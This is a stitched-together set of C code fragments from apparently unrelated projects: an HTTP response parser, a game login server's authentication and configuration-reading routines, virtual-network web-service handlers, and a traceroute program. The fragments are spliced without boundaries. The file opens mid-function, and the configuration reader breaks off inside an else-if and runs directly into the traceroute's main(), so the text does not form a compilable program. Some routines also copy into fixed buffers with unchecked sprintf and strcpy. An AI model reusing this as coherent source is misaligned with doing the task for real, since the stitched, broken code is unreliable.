if(has_code == 0 && sscanf(array[q], "HTTP/1.%d%*[ ]%d%*s%*[ \n\r]", &z, code)) {
has_code = 1;
}
// ;%*[ A-Za-z0-9\\/=+- \n\r]
if(has_type == 0 && sscanf(array[q], "Content-%*[tT]ype:%*[ ]%[A-Za-z\\/+-]", tp)) {
has_type = 1;
}
}
array_free(&array, n);
memset(recvBuff, '\0', sizeof(recvBuff));
}
if(content != NULL) {
/* Remove the header */
if((nl = strstr(content, "\r\n\r\n"))) {
pos = (nl-content)+4;
memmove(&content[0], &content[pos], (size_t)(*size-pos));
*size-=pos;
}
/* Remove the footer */
if((nl = strstr(content, "0\r\n\r\n"))) {
*size -= 5;
}
}
exit:
if(port == 443) {
if(sslfree == 1) {
ssl_free(&ssl);
}
if(entropyfree == 1) {
entropy_free(&entropy);
}
}
if(header) FREE(header);
if(auth) FREE(auth);
if(auth64) FREE(auth64);
if(page) FREE(page);
if(host) FREE(host);
if(sockfd > 0) {
close(sockfd);
}
if(*size > 0) {
content[*size] = '\0';
return content;
} else {
return NULL;
}
return NULL;
}
/**
* Check/authentication of a connection.
* @param sd: string (atm:md5key or dbpass)
* @param isServer: string (atm:md5key or dbpass)
* @return :
* -1: success
* 0: unregistered id;
* 1: incorrect pass;
* 2: expired id
* 3: blacklisted (or registration limit exceeded if new acc);
* 5: invalid client_version|hash;
* 6: banned
* x: acc state (TODO document me deeper)
*/
int login_mmo_auth(struct login_session_data* sd, bool isServer) {
struct mmo_account acc;
int len;
char ip[16];
ip2str(session[sd->fd]->client_addr, ip);
// DNS Blacklist check
if( login_config.use_dnsbl ) {
char r_ip[16];
char ip_dnsbl[256];
char* dnsbl_serv;
uint8* sin_addr = (uint8*)&session[sd->fd]->client_addr;
sprintf(r_ip, "%u.%u.%u.%u", sin_addr[0], sin_addr[1], sin_addr[2], sin_addr[3]);
for( dnsbl_serv = strtok(login_config.dnsbl_servs,","); dnsbl_serv != NULL; dnsbl_serv = strtok(NULL,",") ) {
sprintf(ip_dnsbl, "%s.%s", r_ip, trim(dnsbl_serv));
if( host2ip(ip_dnsbl) ) {
ShowInfo("DNSBL: (%s) Blacklisted. User Kicked.\n", r_ip);
return 3;
}
}
}
len = strnlen(sd->userid, NAME_LENGTH);
// Account creation with _M/_F
if( login_config.new_account_flag ) {
if( len > 2 && strnlen(sd->passwd, NAME_LENGTH) > 0 && // valid user and password lengths
sd->passwdenc == 0 && // unencoded password
sd->userid[len-2] == '_' && memchr("FfMm", sd->userid[len-1], 4) ) // _M/_F suffix
{
int result;
// remove the _M/_F suffix
len -= 2;
sd->userid[len] = '\0';
result = login_mmo_auth_new(sd->userid, sd->passwd, TOUPPER(sd->userid[len+1]), ip);
if( result != -1 )
return result;// Failed to make account. [Skotlex].
}
}
if( !accounts->load_str(accounts, &acc, sd->userid) ) {
ShowNotice("Unknown account (account: %s, ip: %s)\n", sd->userid, ip);
return 0; // 0 = Unregistered ID
}
if( !login_check_password(sd->md5key, sd->passwdenc, sd->passwd, acc.pass) ) {
ShowNotice("Invalid password (account: '%s', ip: %s)\n", sd->userid, ip);
return 1; // 1 = Incorrect Password
}
if( acc.expiration_time != 0 && acc.expiration_time < time(NULL) ) {
ShowNotice("Connection refused (account: %s, expired ID, ip: %s)\n", sd->userid, ip);
return 2; // 2 = This ID is expired
}
if( acc.unban_time != 0 && acc.unban_time > time(NULL) ) {
char tmpstr[24];
timestamp2string(tmpstr, sizeof(tmpstr), acc.unban_time, login_config.date_format);
ShowNotice("Connection refused (account: %s, banned until %s, ip: %s)\n", sd->userid, tmpstr, ip);
return 6; // 6 = Your are Prohibited to log in until %s
}
if( acc.state != 0 ) {
ShowNotice("Connection refused (account: %s, state: %d, ip: %s)\n", sd->userid, acc.state, ip);
return acc.state - 1;
}
if( login_config.client_hash_check && !isServer ) {
struct client_hash_node *node = NULL;
bool match = false;
for( node = login_config.client_hash_nodes; node; node = node->next ) {
if( acc.group_id < node->group_id )
continue;
if( *node->hash == '\0' // Allowed to login without hash
|| (sd->has_client_hash && memcmp(node->hash, sd->client_hash, 16) == 0 ) // Correct hash
) {
match = true;
break;
}
}
if( !match ) {
char smd5[33];
int i;
if( !sd->has_client_hash ) {
ShowNotice("Client didn't send client hash (account: %s, ip: %s)\n", sd->userid, ip);
return 5;
}
for( i = 0; i < 16; i++ )
sprintf(&smd5[i * 2], "%02x", sd->client_hash[i]);
ShowNotice("Invalid client hash (account: %s, sent md5: %s, ip: %s)\n", sd->userid, smd5, ip);
return 5;
}
}
ShowNotice("Authentication accepted (account: %s, id: %d, ip: %s)\n", sd->userid, acc.account_id, ip);
// update session data
sd->account_id = acc.account_id;
sd->login_id1 = rnd() + 1;
sd->login_id2 = rnd() + 1;
safestrncpy(sd->lastlogin, acc.lastlogin, sizeof(sd->lastlogin));
sd->sex = acc.sex;
sd->group_id = acc.group_id;
// update account data
timestamp2string(acc.lastlogin, sizeof(acc.lastlogin), time(NULL), "%Y-%m-%d %H:%M:%S");
safestrncpy(acc.last_ip, ip, sizeof(acc.last_ip));
acc.unban_time = 0;
acc.logincount++;
accounts->save(accounts, &acc);
if( sd->sex != 'S' && sd->account_id < START_ACCOUNT_NUM )
ShowWarning("Account %s has account id %d! Account IDs must be over %d to work properly!\n", sd->userid, sd->account_id, START_ACCOUNT_NUM);
return -1; // account OK
}
adb_StartNetworkResponse_t *StartNetworkMarshal(adb_StartNetwork_t *startNetwork, const axutil_env_t *env) {
// output vars
adb_StartNetworkResponse_t *ret=NULL;
adb_startNetworkResponseType_t *snrt=NULL;
//input vars
adb_startNetworkType_t *snt=NULL;
// working vars
int rc, i;
axis2_bool_t status=AXIS2_TRUE;
char statusMessage[256];
char *netName=NULL, **clusterControllers=NULL, *nameserver=NULL, *uuid=NULL, *accountId=NULL;
int vlan, clusterControllersLen=0;
ncMetadata ccMeta;
snt = adb_StartNetwork_get_StartNetwork(startNetwork, env);
EUCA_MESSAGE_UNMARSHAL(startNetworkType, snt, (&ccMeta));
vlan = adb_startNetworkType_get_vlan(snt, env);
netName = adb_startNetworkType_get_netName(snt, env);
nameserver = adb_startNetworkType_get_nameserver(snt, env);
uuid = adb_startNetworkType_get_uuid(snt, env);
accountId = adb_startNetworkType_get_accountId(snt, env);
if (!accountId) {
accountId = ccMeta.userId;
}
clusterControllersLen = adb_startNetworkType_sizeof_clusterControllers(snt, env);
clusterControllers = malloc(sizeof(char *) * clusterControllersLen);
for (i=0; i<clusterControllersLen; i++) {
clusterControllers[i] = host2ip(adb_startNetworkType_get_clusterControllers_at(snt, env, i));
}
snrt = adb_startNetworkResponseType_create(env);
status = AXIS2_TRUE;
if (!DONOTHING) {
rc = doStartNetwork(&ccMeta, accountId, uuid, netName, vlan, nameserver, clusterControllers, clusterControllersLen);
if (rc) {
logprintf("ERROR: doStartNetwork() returned fail %d\n", rc);
status = AXIS2_FALSE;
snprintf(statusMessage, 255, "ERROR");
}
}
for (i=0; i<clusterControllersLen; i++) {
if (clusterControllers[i]) free(clusterControllers[i]);
}
if (clusterControllers) free(clusterControllers);
adb_startNetworkResponseType_set_return(snrt, env, status);
if (status == AXIS2_FALSE) {
adb_startNetworkResponseType_set_statusMessage(snrt, env, statusMessage);
}
adb_startNetworkResponseType_set_correlationId(snrt, env, ccMeta.correlationId);
adb_startNetworkResponseType_set_userId(snrt, env, ccMeta.userId);
ret = adb_StartNetworkResponse_create(env);
adb_StartNetworkResponse_set_StartNetworkResponse(ret, env, snrt);
return(ret);
}
adb_DescribeNetworksResponse_t *DescribeNetworksMarshal(adb_DescribeNetworks_t *describeNetworks, const axutil_env_t *env) {
// output vars
adb_DescribeNetworksResponse_t *ret=NULL;
adb_describeNetworksResponseType_t *snrt=NULL;
//input vars
adb_describeNetworksType_t *snt=NULL;
// working vars
int rc, i, j;
axis2_bool_t status=AXIS2_TRUE;
char statusMessage[256];
char **clusterControllers=NULL, *nameserver=NULL, *vnetSubnet=NULL, *vnetNetmask=NULL;
int clusterControllersLen=0;
ncMetadata ccMeta;
vnetConfig *outvnetConfig=NULL;
outvnetConfig = malloc(sizeof(vnetConfig));
snt = adb_DescribeNetworks_get_DescribeNetworks(describeNetworks, env);
EUCA_MESSAGE_UNMARSHAL(describeNetworksType, snt, (&ccMeta));
nameserver = adb_describeNetworksType_get_nameserver(snt, env);
clusterControllersLen = adb_describeNetworksType_sizeof_clusterControllers(snt, env);
clusterControllers = malloc(sizeof(char *) * clusterControllersLen);
for (i=0; i<clusterControllersLen; i++) {
char *incc;
incc = adb_describeNetworksType_get_clusterControllers_at(snt, env, i);
clusterControllers[i] = host2ip(incc);
}
snrt = adb_describeNetworksResponseType_create(env);
status = AXIS2_TRUE;
if (!DONOTHING) {
rc = doDescribeNetworks(&ccMeta, nameserver, clusterControllers, clusterControllersLen, outvnetConfig);
if (rc) {
logprintf("ERROR: doDescribeNetworks() returned fail %d\n", rc);
status = AXIS2_FALSE;
snprintf(statusMessage, 255, "ERROR");
} else {
if (!strcmp(outvnetConfig->mode, "MANAGED") || !strcmp(outvnetConfig->mode, "MANAGED-NOVLAN")) {
adb_describeNetworksResponseType_set_useVlans(snrt, env, 1);
} else {
adb_describeNetworksResponseType_set_useVlans(snrt, env, 0);
}
adb_describeNetworksResponseType_set_mode(snrt, env, outvnetConfig->mode);
adb_describeNetworksResponseType_set_addrsPerNet(snrt, env, outvnetConfig->numaddrs);
adb_describeNetworksResponseType_set_addrIndexMin(snrt, env, outvnetConfig->addrIndexMin);
adb_describeNetworksResponseType_set_addrIndexMax(snrt, env, outvnetConfig->addrIndexMax);
vnetSubnet = hex2dot(outvnetConfig->nw);
if (vnetSubnet) {
adb_describeNetworksResponseType_set_vnetSubnet(snrt, env, vnetSubnet);
free(vnetSubnet);
}
vnetNetmask = hex2dot(outvnetConfig->nm);
if (vnetNetmask) {
adb_describeNetworksResponseType_set_vnetNetmask(snrt, env, vnetNetmask);
free(vnetNetmask);
}
adb_describeNetworksResponseType_set_vlanMin(snrt, env, 2);
adb_describeNetworksResponseType_set_vlanMax(snrt, env, outvnetConfig->max_vlan);
for (i=2; i<NUMBER_OF_VLANS; i++) {
if (outvnetConfig->networks[i].active) {
adb_networkType_t *nt=NULL;
nt = adb_networkType_create(env);
adb_networkType_set_uuid(nt, env, outvnetConfig->users[i].uuid);
adb_networkType_set_vlan(nt, env, i);
adb_networkType_set_netName(nt, env, outvnetConfig->users[i].netName);
adb_networkType_set_userName(nt, env, outvnetConfig->users[i].userName);
for (j=0; j<NUMBER_OF_HOSTS_PER_VLAN; j++) {
if (outvnetConfig->networks[i].addrs[j].active) {
adb_networkType_add_activeAddrs(nt, env, j);
}
}
adb_describeNetworksResponseType_add_activeNetworks(snrt, env, nt);
}
}
status = AXIS2_TRUE;
}
}
for (i=0; i<clusterControllersLen; i++) {
if (clusterControllers[i]) free(clusterControllers[i]);
}
if (clusterControllers) free(clusterControllers);
adb_describeNetworksResponseType_set_return(snrt, env, status);
if (status == AXIS2_FALSE) {
adb_describeNetworksResponseType_set_statusMessage(snrt, env, statusMessage);
}
adb_describeNetworksResponseType_set_correlationId(snrt, env, ccMeta.correlationId);
adb_describeNetworksResponseType_set_userId(snrt, env, ccMeta.userId);
ret = adb_DescribeNetworksResponse_create(env);
adb_DescribeNetworksResponse_set_DescribeNetworksResponse(ret, env, snrt);
if (outvnetConfig) free(outvnetConfig);
return(ret);
}
/**
* Reading main configuration file.
* @param cfgName: Name of the configuration (could be fullpath)
* @param normal: Config read normally when server started
* @return True:success, Fals:failure (file not found|readable)
*/
bool login_config_read(const char* cfgName, bool normal) {
char line[1024], w1[32], w2[1024];
FILE* fp = fopen(cfgName, "r");
if (fp == NULL) {
ShowError("Configuration file (%s) not found.\n", cfgName);
return false;
}
while(fgets(line, sizeof(line), fp)) {
if (line[0] == '/' && line[1] == '/')
continue;
if (sscanf(line, "%31[^:]: %1023[^\r\n]", w1, w2) < 2)
continue;
// Config that loaded only when server started, not by reloading config file
if (normal) {
if( !strcmpi(w1, "bind_ip") ) {
login_config.login_ip = host2ip(w2);
if( login_config.login_ip ) {
char ip_str[16];
ShowStatus("Login server binding IP address : %s -> %s\n", w2, ip2str(login_config.login_ip, ip_str));
}
}
else if( !strcmpi(w1, "login_port") )
login_config.login_port = (uint16)atoi(w2);
else if(!strcmpi(w1, "console"))
login_config.console = (bool)config_switch(w2);
}
if(!strcmpi(w1,"timestamp_format"))
safestrncpy(timestamp_format, w2, 20);
else if(strcmpi(w1,"db_path")==0)
safestrncpy(db_path, w2, ARRAYLENGTH(db_path));
else if(!strcmpi(w1,"stdout_with_ansisequence"))
stdout_with_ansisequence = config_switch(w2);
else if(!strcmpi(w1,"console_silent")) {
msg_silent = atoi(w2);
if( msg_silent ) /* only bother if we actually have this enabled */
ShowInfo("Console Silent Setting: %d\n", atoi(w2));
}
else if (strcmpi(w1, "console_msg_log") == 0)
console_msg_log = atoi(w2);
else if (strcmpi(w1, "console_log_filepath") == 0)
safestrncpy(console_log_filepath, w2, sizeof(console_log_filepath));
else if(!strcmpi(w1, "log_login"))
login_config.log_login = (bool)config_switch(w2);
else if(!strcmpi(w1, "new_account"))
login_config.new_account_flag = (bool)config_switch(w2);
else if(!strcmpi(w1, "new_acc_length_limit"))
login_config.new_acc_length_limit = (bool)config_switch(w2);
else if(!strcmpi(w1, "start_limited_time"))
login_config.start_limited_time = atoi(w2);
else if(!strcmpi(w1, "use_MD5_passwords"))
login_config.use_md5_passwds = (bool)config_switch(w2);
else if(!strcmpi(w1, "group_id_to_connect"))
login_config.group_id_to_connect = atoi(w2);
else if(!strcmpi(w1, "min_group_id_to_connect"))
login_config.min_group_id_to_connect = atoi(w2);
else if(!strcmpi(w1, "date_format"))
safestrncpy(login_config.date_format, w2, sizeof(login_config.date_format));
else if(!strcmpi(w1, "allowed_regs")) //account flood protection system
login_config.allowed_regs = atoi(w2);
else if(!strcmpi(w1, "time_allowed"))
login_config.time_allowed = atoi(w2);
else if(!strcmpi(w1, "use_dnsbl"))
login_config.use_dnsbl = (bool)config_switch(w2);
else if(!strcmpi(w1, "dnsbl_servers"))
safestrncpy(login_config.dnsbl_servs, w2, sizeof(login_config.dnsbl_servs));
else if(!strcmpi(w1, "ipban_cleanup_interval"))
login_config.ipban_cleanup_interval = (unsigned int)atoi(w2);
else if(!strcmpi(w1, "ip_sync_interval"))
login_config.ip_sync_interval = (unsigned int)1000*60*atoi(w2); //w2 comes in minutes.
else if(!strcmpi(w1, "client_hash_check"))
login_config.client_hash_check = config_switch(w2);
else if(!strcmpi(w1, "client_hash")) {
int group = 0;
char md5[33];
if (sscanf(w2, "%3d, %32s", &group, md5) == 2) {
struct client_hash_node *nnode;
CREATE(nnode, struct client_hash_node, 1);
if (strcmpi(md5, "disabled") == 0) {
nnode->hash[0] = '\0';
} else {
int i;
for (i = 0; i < 32; i += 2) {
char buf[3];
unsigned int byte;
memcpy(buf, &md5[i], 2);
buf[2] = 0;
sscanf(buf, "%2x", &byte);
nnode->hash[i / 2] = (uint8)(byte & 0xFF);
}
}
nnode->group_id = group;
nnode->next = login_config.client_hash_nodes;
login_config.client_hash_nodes = nnode;
}
} else if(strcmpi(w1, "chars_per_account") == 0) { //maxchars per account [Sirius]
int main(int argc, char const *argv[])
{
char ip[100] = "";
if( argc>1 )
{
strcpy(ip, host2ip(argv[1]));
printf("Tracing route to: %s\n", ip);
}
else
{
printf("No IP given.\n");
return -1;
// strcpy(ip,"160.45.170.10"); // fu-berlin.de
// strcpy(ip,"74.125.224.72"); // google.com
}
struct sockaddr_in my_addr;
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // localhost
memset(my_addr.sin_zero, '\0', sizeof my_addr.sin_zero);
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(PORT);
dest_addr.sin_addr.s_addr = inet_addr(ip);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct sockaddr_in cli_addr;
socklen_t cli_len = sizeof(struct sockaddr_in);;
int ttl = 1;
clock_t c0 = clock();
clock_t c1;
while( ttl <= MAXHOPS )
{
int sender = socket(PF_INET, SOCK_DGRAM, 0);
int recver = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
int opt = setsockopt(sender, IPPROTO_IP, IP_TTL, &ttl, sizeof ttl);
if( sender<0 || recver<0 || opt<0 )
{
perror("socket");
return -2;
}
// printf("sockets set up\n");
if( sendto(sender, buff, sizeof buff, 0, (struct sockaddr *)&dest_addr, sizeof dest_addr)<0 )
{
perror("sendto");
return -3;
}
// printf("test package sent\n");
if ( recvfrom(recver, buff, sizeof buff, 0, (struct sockaddr *)&cli_addr, &cli_len)<0 )
{
perror("recfrom");
return -4;
}
else
{
// printf("received header\n");
inet_ntop(AF_INET, &cli_addr.sin_addr, buff, INET_ADDRSTRLEN);
c1 = clock();
double dur = (c1 - c0) * 1000. / CLOCKS_PER_SEC;
printf("%2d %18s\t %2.2f ms\n", ttl, buff, dur);
if( !strncmp(buff, ip, sizeof ip) )
break;
ttl++;
}
}
}
